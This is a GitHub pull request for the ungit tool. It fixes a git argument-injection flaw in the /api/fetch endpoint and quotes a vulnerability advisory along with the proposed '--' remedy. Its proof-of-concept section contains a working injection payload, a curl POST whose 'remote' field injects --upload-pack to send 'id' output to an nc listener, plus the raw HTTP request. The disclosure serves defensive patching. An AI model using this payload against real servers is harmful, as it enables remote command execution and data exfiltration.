Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix potential remote code exec #1510

Merged
merged 1 commit into from
Mar 18, 2022
Merged

Fix potential remote code exec #1510

merged 1 commit into from
Mar 18, 2022

Conversation

jung-kim
Copy link
Collaborator

source: snyk.io


Vulnerability: Remote Code Execution

Affected Version: *

Technical Details:

It's possible to get remote code execution via argument injection.

The issue occurs when calling the /api/fetch endpoint. The user input is passed to the git subcommand fetch. Even if a safe API like spawn is used to execute shell commands (

const gitProcess = child_process.spawn(gitBin, args.commands, procOpts);
), in this specific case it's still possible to run arbitrary commands via argument injection.

The fetch subcommand accepts a special argument --upload-pack (https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---upload-packltupload-packgt). Since the user controls two values provided to the fetch git subcommand (remote and ref), it is possible to execute arbitrary commands by providing the remote value to be --upload-pack="command to execute". The command executed will be similar to the following:

git fetch --upload-pack="command to execute" foobar

Here is the code that accepts these values:

//

ungit/source/git-api.js

Lines 294 to 297 in 6aff6dc

'fetch',
req.body.remote,
req.body.ref ? req.body.ref : '',
config.autoPruneOnFetch ? '--prune' : '',

app.post(
${exports.pathPrefix}/fetch,
ensureAuthenticated,
ensurePathExists,
ensureValidSocketId,
(req, res) => {
// Allow a little longer timeout on fetch (10min)
if (res.setTimeout) res.setTimeout(tenMinTimeoutMs);

  const task = gitPromise({
    commands: credentialsOption(req.body.socketId, req.body.remote).concat([
      'fetch',
      req.body.remote,
      req.body.ref ? req.body.ref : '',
      config.autoPruneOnFetch ? '--prune' : '',
    ]),
    repoPath: req.body.path,
    timeout: tenMinTimeoutMs,
  });

  jsonResultOrFailProm(res, task).finally(emitGitDirectoryChanged.bind(null, req.body.path));
}

);

Potential Fix

A possible remediation to fix this issue could be to add -- (see here for more information about it https://git-scm.com/docs/gitcli/2.25.0#_description) before the user provided values (it's just a suggestion):

    commands: credentialsOption(req.body.socketId, req.body.remote).concat([
      'fetch',
      config.autoPruneOnFetch ? '--prune' : '',
      '--',
      req.body.remote,
      req.body.ref ? req.body.ref : ''
    ]),

Proof Of Concept/Steps to Reproduce

Install ungit and setup a project (I used ungit repo itself)
cd /home/ubuntu/poc/
npm install -g ungit
git clone https://github.com/FredrikNoren/ungit.git
cd ungit/
ungit
the project will be available at http://localhost:8448/#/repository?path=/home/ubuntu/poc/ungit
RCE Exploitation
setup a listener for accepting incoming connections:
nc -nvlp 8000

run the following curl command to get the output of the id command:
curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data "$(id)"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch

This is the same request sent:

POST /api/fetch HTTP/1.1
Host: localhost:8448
Content-Length: 134
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: application/json
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost:8448/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [http://localhost:8448/
Accept-Encoding](http://localhost:8448/%0DAccept-Encoding): gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000/ --data \"$(id)\"",
"ref":"foobar",
"socketId":1}

@jung-kim jung-kim merged commit 0f16fa5 into master Mar 18, 2022
@jung-kim jung-kim deleted the jk/vuln branch March 18, 2022 17:19
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants